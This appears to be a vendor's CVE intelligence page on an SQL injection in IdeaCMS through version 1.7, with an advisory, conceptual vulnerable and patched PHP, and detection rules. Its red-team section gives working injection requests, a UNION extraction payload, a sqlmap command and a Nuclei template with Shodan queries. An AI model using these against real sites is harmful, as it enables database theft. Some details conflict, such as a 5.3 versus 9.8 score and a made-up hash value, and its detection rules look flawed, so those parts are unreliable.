☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-5569

CVE-2025-5569 is a critical SQL injection vulnerability affecting IdeaCMS versions up to 1.
📅 PUBLISHED: 2025-06-04 05:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.52%
👁️
1.52% probability
37.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5569 is a critical SQL injection vulnerability affecting IdeaCMS versions up to 1.7. The flaw resides in the /api/v1.index.article/getList.html and /api/v1.index.goods/getList.html endpoints, where the field parameter is not properly sanitized. An unauthenticated attacker can inject arbitrary SQL commands, leading to full database compromise, including extraction of user credentials and sensitive data. The vulnerability has a public proof-of-concept (Nuclei template) and a CVSS score of 9.8 (Critical). The vendor has released version 1.8 to address the issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the IdeaCMS web application, which is a PHP-based content management system. There are no known supply chain attacks or malicious packages associated with this CVE. The risk is limited to direct exploitation of the application.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation can lead to complete compromise of the database.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the field parameter of the getList API endpoints. The application constructs SQL queries by directly concatenating user-supplied input without proper sanitization or parameterized queries.

Affected Endpoints:

  • /api/v1.index.article/getList.html
  • /api/v1.index.goods/getList.html

Attack Vector: The attacker sends a GET request with a malicious field parameter. For example:

GET /api/v1.index.article/getList.html?field=id,md5(999999999)&size=1&cat=3&time_stamp=1781864476 HTTP/1.1
Host: target.com

The field parameter is injected into the SQL query, allowing the attacker to execute arbitrary SQL functions (e.g., md5(), sleep(), union select). The time-based payload in the Nuclei template uses md5() to confirm injection by checking if the response contains the MD5 hash of a known value.

Root Cause: The application fails to use prepared statements or parameterized queries. The field parameter is likely concatenated directly into the SQL query string, e.g.:

SELECT {field} FROM articles WHERE ...

Vulnerable vs. Patched Code

Vulnerable Code (IdeaCMS <= 1.7): The vulnerable code likely looks like this (conceptual):

// Vulnerable: direct concatenation
$field = $_GET['field'];
$sql = "SELECT $field FROM articles WHERE ...";
$result = mysqli_query($conn, $sql);

Patched Code (IdeaCMS 1.8): The patch (commit 935aceb4c21338633de6d41e13332f7b9db4fa6a) likely introduces input validation or whitelisting for the field parameter. A secure implementation would be:

// Patched: whitelist allowed fields
$allowedFields = ['id', 'title', 'content', 'author'];
$field = $_GET['field'];
if (!in_array($field, $allowedFields)) {
    die('Invalid field');
}
$sql = "SELECT $field FROM articles WHERE ...";
$result = mysqli_query($conn, $sql);

Alternatively, the patch may use prepared statements for the entire query.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A target running IdeaCMS <= 1.7
  • Network access to the target

Exploitation Steps:

  1. Verify Vulnerability: Use the Nuclei template or manual request to confirm SQL injection.

    curl -s "http://target.com/api/v1.index.article/getList.html?field=id,md5(999999999)&size=1&cat=3&time_stamp=1781864476"
    

    If the response contains "id":1 and the MD5 hash 57e2b6c6b6b6b6b6b6b6b6b6b6b6b6b6, the vulnerability is present.

  2. Extract Data: Use SQL injection to extract database contents. Example using UNION SELECT:

    field=id, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
    

    URL-encoded:

    field=id,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())
    
  3. Automated Exploitation: Use sqlmap for automated exploitation:

    sqlmap -u "http://target.com/api/v1.index.article/getList.html?field=id&size=1&cat=3&time_stamp=1781864476" --batch --dbs
    

Nuclei Template (Provided):

id: CVE-2025-5569

info:
  name: IdeaCMS <= 1.7 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.
  impact: |
    Unauthenticated attackers can extract sensitive data from the database through SQL injection in the field parameter, potentially compromising user information and system credentials.
  remediation: |
    Upgrade IdeaCMS to a version later than 1.7 that properly sanitizes SQL parameters in article and product query interfaces.
  reference:
    - https://gitee.com/ideacms/ideacms/issues/ICBVWE#note_42016626_link
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5569
  classification:
    epss-score: 0.00601
    epss-percentile: 0.6957
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-5569
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    product: IdeaCMS
    shodan-query: http.favicon.hash:-1033616879
    fofa-query: icon_hash:"-1033616879"
  tags: cve,cve2025,ideacms,sqli,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET /api/v1.index.article/getList.html?field=id,md5({{num}})&size=1&cat=3&time_stamp=1781864476 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /api/v1.index.goods/getList.html?field=id,md5({{num}})&activity_type=hot&time_stamp=1781864476 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
          - 'id":1'
          - 'data":'
        condition: and

      - type: status
        status:
          - 200

Blue Team

Detection & Response:

  1. Monitor for Suspicious Requests:

    • Look for requests to /api/v1.index.article/getList.html or /api/v1.index.goods/getList.html with unusual field parameters containing SQL keywords (e.g., UNION, SELECT, SLEEP, md5).
    • Alert on requests with field parameter containing parentheses or commas.
  2. Web Application Firewall (WAF) Rules: Block requests with field parameter containing:

    • SQL keywords (e.g., UNION, SELECT, FROM, WHERE)
    • Functions like md5(), sleep(), benchmark()
    • Multiple commas or parentheses
  3. Log Analysis: Search for HTTP 200 responses to the vulnerable endpoints with unusual response sizes or content (e.g., MD5 hashes in the response).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP GET requests to /api/v1.index.article/getList.html or /api/v1.index.goods/getList.html with field parameter containing SQL injection payloads.
    • Response bodies containing MD5 hashes (e.g., 57e2b6c6b6b6b6b6b6b6b6b6b6b6b6b6) or database error messages.
  • Host IOCs:

    • Unusual database queries in MySQL logs (e.g., SELECT id,md5(999999999) FROM ...).
    • Presence of sqlmap or other SQL injection tools on the attacking machine.
  • File IOCs:

    • Modified application files (e.g., index.php, api.php) if the attacker uploaded a webshell.

Detection Engineering

YARA Rule

rule CVE_2025_5569_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting IdeaCMS CVE-2025-5569"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "/api/v1.index.article/getList.html" nocase
        $s2 = "/api/v1.index.goods/getList.html" nocase
        $s3 = "field=" nocase
        $s4 = "md5(" nocase
        $s5 = "sleep(" nocase
        $s6 = "union" nocase
        $s7 = "select" nocase
    condition:
        (any of ($s1, $s2)) and $s3 and (any of ($s4, $s5, $s6, $s7))
}

Sigma Rule

title: CVE-2025-5569 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against IdeaCMS CVE-2025-5569
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/api/v1.index.article/getList.html'
            - '/api/v1.index.goods/getList.html'
        cs-uri-query|contains|all:
            - 'field='
            - 'md5('
            - 'sleep('
            - 'union'
            - 'select'
    condition: selection
falsepositives:
    - Legitimate use of field parameter with similar patterns (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-5569 SQL Injection Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/api/v1.index.article/getList.html";
    http_uri;
    content:"/api/v1.index.goods/getList.html";
    http_uri;
    content:"field=";
    http_uri;
    pcre:"/(md5\(|sleep\(|union|select)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade IdeaCMS to version 1.8 or later. The patch is available at commit 935aceb4c21338633de6d41e13332f7b9db4fa6a.
  2. Apply WAF rules to block SQL injection patterns in the field parameter.
  3. Review database logs for signs of exploitation.

Long-term Mitigations:

  • Implement parameterized queries or prepared statements for all database interactions.
  • Use input validation and whitelisting for all user-supplied parameters.
  • Conduct regular security audits and penetration testing.
  • Monitor for similar vulnerabilities in other API endpoints.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.

{/* [Security Hash: 40EA0F20917091159A6AFD9D] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5569/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.